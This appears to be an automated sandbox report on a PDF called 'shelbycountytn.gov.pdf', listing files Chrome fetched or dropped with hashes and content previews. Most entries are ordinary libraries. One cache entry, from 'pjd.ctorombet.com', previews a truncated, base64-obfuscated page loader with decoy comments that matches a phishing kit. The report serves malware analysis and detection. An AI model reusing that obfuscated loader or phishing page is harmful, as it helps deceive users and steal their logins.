                                                                                Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiSUxrUllPSmhIVEZacllLRmN5UC12SkJrVjNWbWVLdHo4d1hEb2VPWjBZMCJ9LHsicGF0aCI6InNzbF9lcnJvcl9hc3Npc3RhbnQucGIiLCJyb290X2hhc2giOiJyRFZLUnlPcXBQQnI3RGhkM2VTazBKZzYxUlJXOVNzeHFBYU95WDFiWHFjIn1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiZ2lla2NtbWxua2xlbmxhb21wcGtwaGtuam1ubnBuZWgiLCJpdGVtX3ZlcnNpb24iOiI3IiwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"nBdNk-7bgnEftAs4hWaHwF1Lk9pt7Eh6pcqe2gyNsE7VnVRp-H27tm1RFAF4htCUlXNJxX6YY-MUiK2DqJpQ3c73KDaFV8DcnadQfcXO3Lbrw7jLYSUaSdzujPkTyhuFcq_BhK0KWiIJ0aJgh7nVOBfAa5AbE6oFlLKMB2Ls0gmzS1-a5hUIu4rw2h9r9jkr6gLYbein5Jk2hdwW3u-1GNjyki4dftG2iZNAI8VhUf5gnCiF4AHCnYSGJsM0RGkmO_HJIzgwpQpP3RDsG2ioeKgxL-kcHhjXWOj3uVGyxpp1FkyHGkeGuqpFZMAxx3CEBiOtFj7i3iQxkgEW-E3uMKI3yA

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\manifest.fingerprint

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):66
                                                                                Entropy (8bit):3.9555383032528804
                                                                                Encrypted:false
                                                                                SSDEEP:3:SWjBMq9+jigBeQrEj3vWXyDt:SW93KBeQIj+XQ
                                                                                MD5:684DA5CCA8ADC8CA59CBE5B082CFE0B5
                                                                                SHA1:B8784E02DB81C5F846A7848455A2C6629A88BD64
                                                                                SHA-256:F48C9D93CC216AF13BBFAD15DD5E6D1679CD35D318E664029DDF61EFC6E51A5D
                                                                                SHA-512:EAEB9B8C51AEF3CC2749F4E6B2C2B58334E53C0BA701DB94F2896C9557B949D392CF4F44B771821C63DD238FAC2B2F869833BED2DFF830AFC4C8743683A75183
                                                                                Malicious:false
                                                                                Preview:1.3eb16d6c28b502ac4cfee8f4a148df05f4d93229fa36a71db8b08d06329ff18a

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\manifest.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):76
                                                                                Entropy (8bit):4.169145448714876
                                                                                Encrypted:false
                                                                                SSDEEP:3:rR6TAulhFphifFY8Wypv/KS1f:F6VlMQyBSS1f
                                                                                MD5:4AAA0ED8099ECC1DA778A9BC39393808
                                                                                SHA1:0E4A733A5AF337F101CFA6BEA5EBC153380F7B05
                                                                                SHA-256:20B91160E2611D3159AD82857323FEBC906457756678AB73F305C3A1E399D18D
                                                                                SHA-512:DFA942C35E1E5F62DD8840C97693CDBFD6D71A1FD2F42E26CB75B98BB6A1818395ECDF552D46F07DFF1E9C74F1493A39E05B14E3409963EFF1ADA88897152879
                                                                                Malicious:false
                                                                                Preview:{. "manifest_version": 2,. "name": "sslErrorAssistant",. "version": "7".}

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_221767600\ssl_error_assistant.pb

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2816
                                                                                Entropy (8bit):6.108955364911366
                                                                                Encrypted:false
                                                                                SSDEEP:48:jkbh6AW2Bfc3osI6Hc3+XgU+EVeY55J4gXM/QDH4yq2dxckdfmkM:jkbhM2a3pntgQVb8Ylq2di
                                                                                MD5:E2F792C9E2DD86F39E8286B2EAD2FC70
                                                                                SHA1:8A32867614D2A23E473ED642056DED8E566687F9
                                                                                SHA-256:AC354A4723AAA4F06BEC385DDDE4A4D0983AD51456F52B31A8068EC97D5B5EA7
                                                                                SHA-512:6A7AF0CA1EFA65A89A9CA3B8DF0D2E24F21D91673C60CDFEEB02D33647442B01D535497249542F40E66E0D2DD3E9F8ED1F4A201FD97138D07A2B71366737E580
                                                                                Malicious:false
                                                                                Preview:...5.3sha256/fjZPHewEHTrMDX3I1ecEIeoy3WFxHyGplOLv28kIbtI=.5.3sha256/m/nBiLhStttu1YmOz7Y3D2u1iB1dV2CbIfFa3R2YW5M=.5.3sha256/8Iuf4xRbVCmCMQTJn3rxlglIO1IOKoyuSUgmXyfaIKs=.5.3sha256/8IHdrS+r6IWzSMcRcD/GA6mBxk1ECX8tGRW0rtGWILE=.5.3sha256/k/2eeJTznE32mblA/du19wpVDSIReFX44M8wXa2JY30=.5.3sha256/urWd7jMwR6DJgvWhp6xfRHF5b/cba3iG0ggXtTR6AfM=.5.3sha256/IJPCDSE5tM9H3nuD5m6RU2i9KDdPXVn4qmC/ULlcZzc=.5.3sha256/0Gy8RMdbxHNWR2GQJ62QKDXORYf5JmMmnr1FJFPYpzM=.5.3sha256/8tTICtyaxIQrdbYYDdgZhTN0OpM9kYndvoImtw1Ys5E=.5.3sha256/F7HIlsaG0bpJW8CzYekRbtFqLVTTGqwvuwPDqnlLct0=.5.3sha256/zaV2Aw1A742R1+WpXWvL5atsJbGmeSS6dzZOfe6f1Yw=.5.3sha256/UwOkRGMlP0K/mKNJdpQ0sTg2ean9Tje8UTOvFYzt1GE=.5.3sha256/w7KUXE4/BAo1YVZdO3mBsrMpu4IQuN0mhUXUI//agVU=.5.3sha256/JnPvGqEn36FjHQlBXtG1uWwNtdMj1o2ojR/asqyypNk=.5.3sha256/AUSXlKDCf1X30WhWeAWbjToABfBkJrKWPL6KwEi5VH0=.5.3sha256/zSyVjjFJMIeXK0ktVTIjewwr6U5OePRqyY/nEXTI4P8=.5.3sha256/9dcHlrXN2WV/ehbEdMxMZ8IV4qvGejCtNC5r6nfTviM=.5.3sha256/E+0WZLGSIe5nddlVKZ5fYzaNHHCE3hNqi/OWZD3iKgA=.5.3sha2

                                                                                Chrome Cache Entry: 310

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with very long lines (48316), with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):48316
                                                                                Entropy (8bit):5.6346993394709
                                                                                Encrypted:false
                                                                                SSDEEP:768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
                                                                                MD5:2CA03AD87885AB983541092B87ADB299
                                                                                SHA1:1A17F60BF776A8C468A185C1E8E985C41A50DC27
                                                                                SHA-256:8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
                                                                                SHA-512:13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
                                                                                Malicious:false
                                                                                Preview:!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

                                                                                Chrome Cache Entry: 311

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with very long lines (48316), with no line terminators
                                                                                Category:downloaded
                                                                                Size (bytes):48316
                                                                                Entropy (8bit):5.6346993394709
                                                                                Encrypted:false
                                                                                SSDEEP:768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
                                                                                MD5:2CA03AD87885AB983541092B87ADB299
                                                                                SHA1:1A17F60BF776A8C468A185C1E8E985C41A50DC27
                                                                                SHA-256:8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
                                                                                SHA-512:13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
                                                                                Malicious:false
                                                                                URL:https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
                                                                                Preview:!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

                                                                                Chrome Cache Entry: 312

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with very long lines (65447)
                                                                                Category:dropped
                                                                                Size (bytes):89501
                                                                                Entropy (8bit):5.289893677458563
                                                                                Encrypted:false
                                                                                SSDEEP:1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
                                                                                MD5:8FB8FEE4FCC3CC86FF6C724154C49C42
                                                                                SHA1:B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
                                                                                SHA-256:FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
                                                                                SHA-512:F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
                                                                                Malicious:false
                                                                                Preview:/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

                                                                                Chrome Cache Entry: 313

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:HTML document, ASCII text, with very long lines (6465), with CRLF line terminators
                                                                                Category:downloaded
                                                                                Size (bytes):18270
                                                                                Entropy (8bit):5.919772101774104
                                                                                Encrypted:false
                                                                                SSDEEP:384:aA7nuj6N5ZEJ0LMRwJE9aE0lZS3nuj6N5ZEJ0LMRwJE9aE0lZnnlryulre:JBN5ZIk7JE9BOgVN5ZIk7JE9BO5nlrxQ
                                                                                MD5:A0844A9BD2DC137808057CC4C950D797
                                                                                SHA1:37FB247ACD40C2577DE3B97EDA156C5A59BDF163
                                                                                SHA-256:1E0C56A44BCF138160DB7843C9785122B0A4419647A92A46BD00B90DA5067E3C
                                                                                SHA-512:5CD4F7194CD09279B876B3F36BE34858F8E259DF5D72263DB397B6C1C63B4CAE4974B9F2526D6A1B778BED7A3888A1BD5A1E169632433555B5D4D1FD2DC0F11A
                                                                                Malicious:false
                                                                                URL:https://pjd.ctorombet.com/enRUG/
                                                                                Preview: Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better. -->.. Do not be embarrassed by your failures, learn from them and start again. -->..<script>../* Success is getting what you want, happiness is wanting what you get. */..if(atob("aHR0cHM6Ly9QSkQuY3Rvcm9tYmV0LmNvbS9lblJVRy8=") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3c

                                                                                Chrome Cache Entry: 314

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with very long lines (47459)
                                                                                Category:dropped
                                                                                Size (bytes):47460
                                                                                Entropy (8bit):5.397735966179774
                                                                                Encrypted:false
                                                                                SSDEEP:768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
                                                                                MD5:5D332FD1AE9FEB79A10425DFC3F84FE4
                                                                                SHA1:C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
                                                                                SHA-256:2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
                                                                                SHA-512:01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
                                                                                Malicious:false
                                                                                Preview:"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

                                                                                Chrome Cache Entry: 315

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:PNG image data, 33 x 80, 8-bit/color RGB, non-interlaced
                                                                                Category:dropped
                                                                                Size (bytes):61
                                                                                Entropy (8bit):4.035372245524405
                                                                                Encrypted:false
                                                                                SSDEEP:3:yionv//thPlOdClohkxl/k4E08up:6v/lhPpohk7Tp
                                                                                MD5:3F9FD1EFA53BE521000F9C993B069241
                                                                                SHA1:198191931625F67BA035E0934D2610C45265EC98
                                                                                SHA-256:4B1DB54798EEA66C0E731A10A9E61B86CB6D67E216B696173D25C5B3DAF938F2
                                                                                SHA-512:00586B14AD106CF439399D402E07C36C55AD45DA71B071533C92C71A8C7E944E483BA595E7EC31620C3EF7CBB0FE7B4B945CA38E8B2616B2F42E2081C3B35FB5
                                                                                Malicious:false
                                                                                Preview:.PNG........IHDR...!...P........\....IDAT.....$.....IEND.B`.

                                                                                Chrome Cache Entry: 316

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:PNG image data, 67 x 66, 8-bit/color RGB, non-interlaced
                                                                                Category:dropped
                                                                                Size (bytes):61
                                                                                Entropy (8bit):4.035372245524405
                                                                                Encrypted:false
                                                                                SSDEEP:3:yionv//thPlW9tnleull6hkxl/k4E08up:6v/lhPSIullKk7Tp
                                                                                MD5:61D0DB4E3AF0780E31A97BCB13FEAB2C
                                                                                SHA1:4D8680C31D24A2E095174C6EC9744904793368EA
                                                                                SHA-256:AA96693F98CC633727B8C359E4D0439CFCF0ADDF9FBF84488669BAE0A1989DC0
                                                                                SHA-512:DEF5439D7DC4571C59AEBB5D371D0BC2462CBE4CAEBE359E73113E3B4411A1323E1A7B7FB0158F58C84D01DD30E232152B7ECC19E050E509E5F0168BD1066C1F
                                                                                Malicious:false
                                                                                Preview:.PNG........IHDR...C...B.............IDAT.....$.....IEND.B`.

                                                                                Chrome Cache Entry: 317

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
                                                                                Category:dropped
                                                                                Size (bytes):61
                                                                                Entropy (8bit):3.990210155325004
                                                                                Encrypted:false
                                                                                SSDEEP:3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
                                                                                MD5:9246CCA8FC3C00F50035F28E9F6B7F7D
                                                                                SHA1:3AA538440F70873B574F40CD793060F53EC17A5D
                                                                                SHA-256:C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
                                                                                SHA-512:A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
                                                                                Malicious:false
                                                                                Preview:.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

                                                                                Chrome Cache Entry: 318

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:PNG image data, 67 x 66, 8-bit/color RGB, non-interlaced
                                                                                Category:downloaded
                                                                                Size (bytes):61
                                                                                Entropy (8bit):4.035372245524405
                                                                                Encrypted:false
                                                                                SSDEEP:3:yionv//thPlW9tnleull6hkxl/k4E08up:6v/lhPSIullKk7Tp
                                                                                MD5:61D0DB4E3AF0780E31A97BCB13FEAB2C
                                                                                SHA1:4D8680C31D24A2E095174C6EC9744904793368EA
                                                                                SHA-256:AA96693F98CC633727B8C359E4D0439CFCF0ADDF9FBF84488669BAE0A1989DC0
                                                                                SHA-512:DEF5439D7DC4571C59AEBB5D371D0BC2462CBE4CAEBE359E73113E3B4411A1323E1A7B7FB0158F58C84D01DD30E232152B7ECC19E050E509E5F0168BD1066C1F
                                                                                Malicious:false
                                                                                URL:https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8cf969adefda1993/1728424923998/8lL0I4HZX_vSPvF
                                                                                Preview:.PNG........IHDR...C...B.............IDAT.....$.....IEND.B`.

                                                                                Chrome Cache Entry: 319

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:PNG image data, 33 x 80, 8-bit/color RGB, non-interlaced
                                                                                Category:downloaded
                                                                                Size (bytes):61
                                                                                Entropy (8bit):4.035372245524405
                                                                                Encrypted:false
                                                                                SSDEEP:3:yionv//thPlOdClohkxl/k4E08up:6v/lhPpohk7Tp
                                                                                MD5:3F9FD1EFA53BE521000F9C993B069241
                                                                                SHA1:198191931625F67BA035E0934D2610C45265EC98
                                                                                SHA-256:4B1DB54798EEA66C0E731A10A9E61B86CB6D67E216B696173D25C5B3DAF938F2
                                                                                SHA-512:00586B14AD106CF439399D402E07C36C55AD45DA71B071533C92C71A8C7E944E483BA595E7EC31620C3EF7CBB0FE7B4B945CA38E8B2616B2F42E2081C3B35FB5
                                                                                Malicious:false
                                                                                URL:https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8cf96ce898fe432c/1728425055453/o1WiMAMzrvjDGzD
                                                                                Preview:.PNG........IHDR...!...P........\....IDAT.....$.....IEND.B`.

                                                                                Chrome Cache Entry: 320

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with very long lines (65447)
                                                                                Category:downloaded
                                                                                Size (bytes):89501
                                                                                Entropy (8bit):5.289893677458563
                                                                                Encrypted:false
                                                                                SSDEEP:1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
                                                                                MD5:8FB8FEE4FCC3CC86FF6C724154C49C42
                                                                                SHA1:B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
                                                                                SHA-256:FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
                                                                                SHA-512:F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
                                                                                Malicious:false
                                                                                URL:https://code.jquery.com/jquery-3.6.0.min.js
                                                                                Preview:/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

                                                                                Chrome Cache Entry: 321

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
                                                                                Category:downloaded
                                                                                Size (bytes):61
                                                                                Entropy (8bit):3.990210155325004
                                                                                Encrypted:false
                                                                                SSDEEP:3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
                                                                                MD5:9246CCA8FC3C00F50035F28E9F6B7F7D
                                                                                SHA1:3AA538440F70873B574F40CD793060F53EC17A5D
                                                                                SHA-256:C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
                                                                                SHA-512:A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
                                                                                Malicious:false
                                                                                URL:https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
                                                                                Preview:.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

                                                                                Chrome Cache Entry: 322

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with very long lines (47459)
                                                                                Category:downloaded
                                                                                Size (bytes):47460
                                                                                Entropy (8bit):5.397735966179774
                                                                                Encrypted:false
                                                                                SSDEEP:768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
                                                                                MD5:5D332FD1AE9FEB79A10425DFC3F84FE4
                                                                                SHA1:C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
                                                                                SHA-256:2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
                                                                                SHA-512:01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
                                                                                Malicious:false
                                                                                URL:https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js
                                                                                Preview:"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

                                                                                Static File Info

                                                                                General

                                                                                File type:PDF document, version 1.7, 1 pages
                                                                                Entropy (8bit):7.92682560519216
                                                                                TrID:
                                                                                • Adobe Portable Document Format (5005/1) 100.00%
                                                                                File name:shelbycountytn.gov.pdf
                                                                                File size:73'012 bytes
                                                                                MD5:0779d291915cc0af4f23301d02710919
                                                                                SHA1:6f567018caaa0d520ce9963141f5d2ca68b3aab9
                                                                                SHA256:d290fd552d9ad015aca30c12934dde1475a7ec9f5cb2f17f84f3a2ae5e3a1339
                                                                                SHA512:54eb458cb192ab41076cbe0965b61b08619f55d4f67c2f6019acf11fa140be20b6eae0bb13cce87c0ea934a96e7b56641a03a37f1de249029c718eceea5df15a
                                                                                SSDEEP:1536:AFyw2+j2nodEWDEzXSSL3kTnlM1k3g4tJbUoI:ey5odAzXrALlT3gsJbUoI
                                                                                TLSH:3C63E021DF0A2B6DE1D8CF70DBC866E204BEB05522CC618357F14B6BB055E581EE2B97
                                                                                File Content Preview:%PDF-1.7.%.....1 0 obj.<<./Type /Catalog./Pages 2 0 R./Metadata 3 0 R.>>.endobj.4 0 obj.<<./Producer (airSlate inc. Mellivora 2.7.12.1)./CreationDate (D:20240809122717Z00'00')./ModDate (D:20240809122717Z00'00')./Creator (PDFfiller pdf2flat v2.1_20240414).

                                                                                File Icon

                                                                                Icon Hash:62cc8caeb29e8ae0

                                                                                Static PDF Info

                                                                                General

                                                                                Header:%PDF-1.7
                                                                                Total Entropy:7.926826
                                                                                Total Bytes:73012
                                                                                Stream Entropy:7.948646
                                                                                Stream Bytes:68114
                                                                                Entropy outside Streams:5.197861
                                                                                Bytes outside Streams:4898
                                                                                Number of EOF found:1
                                                                                Bytes after EOF:

                                                                                Keywords Statistics

                                                                                NameCount
                                                                                obj32
